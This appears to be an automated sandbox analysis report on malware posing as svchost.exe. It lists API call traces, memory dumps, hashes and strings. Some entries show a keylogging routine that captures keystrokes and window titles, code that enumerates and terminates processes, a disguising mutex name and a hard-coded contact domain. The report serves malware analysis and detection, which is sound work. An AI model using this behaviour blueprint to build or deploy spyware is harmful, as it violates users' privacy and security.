Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: InfoNamedSecurity$AccessBuildEntriesExplicitNameWith
String ID: Everyone
API String ID: 3268678561-3285609282
Opcode ID: 6fb2e384600c34b543547c7cafb9b5d45da39815eef21acd07f80eb011f4cd43
Instruction ID: 0c36ddaaaa37c8e1bcef37fa3a38680b25a94372d86faec149de2c4e23d539c9
Opcode Fuzzy Hash: 6fb2e384600c34b543547c7cafb9b5d45da39815eef21acd07f80eb011f4cd43
Instruction Fuzzy Hash: DFC1E8B1A80356ABFB00CF98DCC1B9977E5EF19324F280460E906AF345D379B961DB61

Function 1000CEBC Relevance: 7.9, APIs: 5, Instructions: 433processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 1000CF27
Process32First.KERNEL32(?,00000000), ref: 1000D004
CloseHandle.KERNEL32(?), ref: 1000D180
Process32Next.KERNEL32(?,00000000), ref: 1000D24A
CloseHandle.KERNEL32(?), ref: 1000D334

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 3c11e1b8236e4155e5bdf366fd19866cf4754ec9494da8372cc086261dc2f4b8
Instruction ID: 5cfa5131942978e64c719199eb9353fa12cdd8e84043cd2f5a6fc40f21aa05d8
Opcode Fuzzy Hash: 3c11e1b8236e4155e5bdf366fd19866cf4754ec9494da8372cc086261dc2f4b8
Instruction Fuzzy Hash: 85E11BB1A81256ABFB00CF58DCC1B99B7E1EF59324F290474E506AF344D375B960CB62

Function 100179A0 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 100179BA
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 100179E4
TranslateMessage.USER32(?), ref: 100179EB
DispatchMessageA.USER32(?), ref: 100179F2
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 10017A01

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: a5092f33d5db77f6c572d42ec7d458673a742e577df80107d7a895f97c18999f
Instruction ID: c0306863010c07f40e02b47de6517a9b572954a3abcd7448a4b39e2bffe2d004
Opcode Fuzzy Hash: a5092f33d5db77f6c572d42ec7d458673a742e577df80107d7a895f97c18999f
Instruction Fuzzy Hash: 4E01497228035576F220DB54DC86F567BACEBC4B51F600819F7055B0C1D7B5FA09C766

Function 1001CECC Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,1001CAEA,1002259F,?,1001F23B,?,?,00000001,00000800,?,00000000,?,1001FA23,?,?), ref: 1001CECE
TlsGetValue.KERNEL32(?,1001FA23,?,?,?,1001F453,?,?,?,?,?,00000000), ref: 1001CEDC
SetLastError.KERNEL32(00000000,?,1001FA23,?,?,?,1001F453,?,?,?,?,?,00000000), ref: 1001CF28

Part of subcall function 10022B10: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,?), ref: 10022C06

TlsSetValue.KERNEL32(00000000,?,1001FA23,?,?,?,1001F453,?,?,?,?,?,00000000), ref: 1001CF00
GetCurrentThreadId.KERNEL32 ref: 1001CF11

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: ErrorLastValue$AllocCurrentHeapThread
String ID:
API String ID: 2020098873-0
Opcode ID: 97afc8ed8d1a0f1bd792961d1690eb1f6b2533a2d709d7852e1a4117c30cb5ea
Instruction ID: 64924826a7f21aba987eebfd6bd1c4c45b96fbe5cfac6b2f12a642f4dbe9cfea
Opcode Fuzzy Hash: 97afc8ed8d1a0f1bd792961d1690eb1f6b2533a2d709d7852e1a4117c30cb5ea
Instruction Fuzzy Hash: FAF02B35541276DFE6215B309C4DE5A3AA9EF09BB1F210139FA42DA3D1CB30CC834790

Function 10020611 Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,1179C358,1179C358,?,?,10020ADD,00000000,?,00000000,00000009,00000009,?,10022BD9,?,00000000), ref: 10020632
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,?,10020ADD,00000000,?,00000000,00000009,00000009,?,10022BD9,?,00000000), ref: 10020656
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,?,10020ADD,00000000,?,00000000,00000009,00000009,?,10022BD9,?,00000000), ref: 10020670
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,10020ADD,00000000,?,00000000,00000009,00000009,?,10022BD9,?,00000000,00000000), ref: 10020731
HeapFree.KERNEL32(00000000,00000000,?,?,10020ADD,00000000,?,00000000,00000009,00000009,?,10022BD9,?,00000000,00000000,?), ref: 10020748

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 384a15644dcc9716ec4688988102304843b45784d78cbe861dea7e0dc12a5866
Instruction ID: 883b6ee3ad28984acabcd9b5c9d646cfd2853f95755fea2849c7572360dd47e1
Opcode Fuzzy Hash: 384a15644dcc9716ec4688988102304843b45784d78cbe861dea7e0dc12a5866
Instruction Fuzzy Hash: 203138706407569FE330CF24EC84B25BBE1EB48BB8F604239F69997381E770A855CB85

Function 100225B2 Relevance: 6.1, APIs: 4, Instructions: 135fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,00000001,?,?), ref: 10022679

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f57bff71f0a7f5fb1f8386d07e243de64497b8c1b29658a2c96f1b27204220a3
Instruction ID: 352e63e101ca2db80873baa98322cb39720ba65963471e5a4fec079ead1f4ae1
Opcode Fuzzy Hash: f57bff71f0a7f5fb1f8386d07e243de64497b8c1b29658a2c96f1b27204220a3
Instruction Fuzzy Hash: AC516A31904258FFCB12CFA8D884A9D7BF4FF45380FA081A5E815DB261DB70DA80DB61

Function 1000D386 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 1000D3AC
OpenProcess.KERNEL32(00000001,00000000,?), ref: 1000D3EA
TerminateProcess.KERNEL32(?,00000000), ref: 1000D432
CloseHandle.KERNEL32(?), ref: 1000D461

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentHandleOpenTerminate
String ID:
API String ID: 983841585-0
Opcode ID: 9f765b48281175cbd52453a04e4a00a635b8642877ae29430ffa1c05f9f1e79b
Instruction ID: 5699e9ffd7cf45bb4e0ada699c9a5c0e93c476daccd557ac49e43df76cdb4def
Opcode Fuzzy Hash: 9f765b48281175cbd52453a04e4a00a635b8642877ae29430ffa1c05f9f1e79b
Instruction Fuzzy Hash: 94211D74D40308FBEB10EFA0DC46B9CBB70EB05791F108466F5047E184D6B666A4DF96

Function 1002016F Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,1001FF37,?,?,00000000), ref: 10020197
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,1001FF37,?,?,00000000), ref: 100201CB
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004), ref: 100201E5
HeapFree.KERNEL32(00000000,?), ref: 100201FC

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 178eeb0bff28e084720b8ca0fa979c110e0e7e083b5d508b5998cb838b2a3180
Instruction ID: c93cab56bc4aece499e62db6217f2e1f4ee354f2d3f371fdf3ad1d6f4d746bd8
Opcode Fuzzy Hash: 178eeb0bff28e084720b8ca0fa979c110e0e7e083b5d508b5998cb838b2a3180
Instruction Fuzzy Hash: 11114F30200B61DFD320CF18DCCAD66BBF6FB497687A4496AF161D62E1C370985ADB04

Analysis Process: svchost.exePID: 12440, Parent PID: 12364COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.3%
Total number of Nodes:	324
Total number of Limit Nodes:	18

Executed Functions

Function 0040E7B0 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 189
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000,Global\Google_DRIVE,?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7D9
GetLastError.KERNEL32(?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7E5
ReleaseMutex.KERNEL32(00000000,?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7F3
CloseHandle.KERNEL32(00000000,?,00000000,0041BCD6,000000FF,0040EA75,00414C48,00000000,?,0000000A), ref: 0040E7FA
OpenEventA.KERNEL32(001F0003,00000000,?,?,00000000,?,00000000), ref: 0040E8C3
Sleep.KERNEL32(00000064,?,00000000,?,00000000), ref: 0040E8CD
CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040E8E4
GetTickCount.KERNEL32 ref: 0040E8F0
GetTickCount.KERNEL32 ref: 0040E941
Sleep.KERNELBASE(000003E8,?,?,?,?,00000035), ref: 0040E98F
GetTickCount.KERNEL32 ref: 0040E9CF
OpenEventA.KERNEL32(001F0003,00000000,?,?,00000000,?,00000000), ref: 0040E9E4
WaitForSingleObject.KERNEL32(?,000000C8,?,00000000,?,00000000), ref: 0040E9F5
Sleep.KERNEL32(000001F4,?,00000000,?,00000000), ref: 0040EA02
CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040EA1B

Strings

www.362-com.com, xrefs: 0040E859
e, xrefs: 0040E937
X?B, xrefs: 0040E863
Global\Google_DRIVE, xrefs: 0040E7D0

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: CloseCountHandleSleepTick$EventMutexOpen$CreateErrorLastObjectReleaseSingleWait
String ID: Global\Google_DRIVE$X?B$e$www.362-com.com
API String ID: 1962376256-2771687486
Opcode ID: 959a8e92e3b4555c05954630b2232d7a478ceef59f1d75acb9e4aee2ae9aadac
Instruction ID: a74a6444da2282860dba96b27c8618abe0cd357168f719f048f2f662f4038f78
Opcode Fuzzy Hash: 959a8e92e3b4555c05954630b2232d7a478ceef59f1d75acb9e4aee2ae9aadac
Instruction Fuzzy Hash: 9B61F3322443419BD321EF61DC42BEB77A4AF94744F00493EF589A32D2DB7C5909CB5A

Function 00409450 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 124
keyboardstringsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000008), ref: 00409483

Part of subcall function 00409340: GetForegroundWindow.USER32(004251F0,?,74DE8A60), ref: 00409349
Part of subcall function 00409340: lstrlenA.KERNEL32(00425AFC), ref: 0040937F
Part of subcall function 00409340: lstrlenA.KERNEL32(004251F0), ref: 0040938E
Part of subcall function 00409340: GetLocalTime.KERNEL32(?), ref: 00409399
Part of subcall function 00409340: wsprintfA.USER32 ref: 004093EE
Part of subcall function 00409340: GetWindowTextA.USER32(00000000,00425AFC,00000400), ref: 00409430

lstrlenA.KERNEL32(004251F0), ref: 00409497
lstrcatA.KERNEL32(004251F0,00423CCC), ref: 004094AB
GetKeyState.USER32(00000010), ref: 004094D6
GetAsyncKeyState.USER32(00000008), ref: 004094E6
GetKeyState.USER32(00000014), ref: 004094F3
GetKeyState.USER32(00000014), ref: 0040951C

Strings

<Enter>, xrefs: 004095CB

Memory Dump Source

Source File: 0000001D.00000002.4094156194.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.4093845530.0000000000400000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094491017.000000000041C000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 0000001D.00000002.4094694706.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_svchost.jbxd

Similarity

API ID: State$lstrlen$Window$AsyncForegroundLocalSleepTextTimelstrcatwsprintf
String ID: <Enter>
API String ID: 1968781029-4011940973
Opcode ID: 8e048b356d7e2952715e600388bc62afc1ed2142375b1e1cbc064699a7feb0c1
Instruction ID: 27bd0802815f429370f11feb6ac7fd50c362f1d39d74ac08f7511a932ad67abc
Opcode Fuzzy Hash: 8e048b356d7e2952715e600388bc62afc1ed2142375b1e1cbc064699a7feb0c1
Instruction Fuzzy Hash: 2341F432B84720B6EB116F15AC857B73654AB90344FD4493BE823B22C2C6BDCD42865F

Function 00409340 Relevance: 9.1, APIs: 6, Instructions: 74
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32(004251F0,?,74DE8A60), ref: 00409349
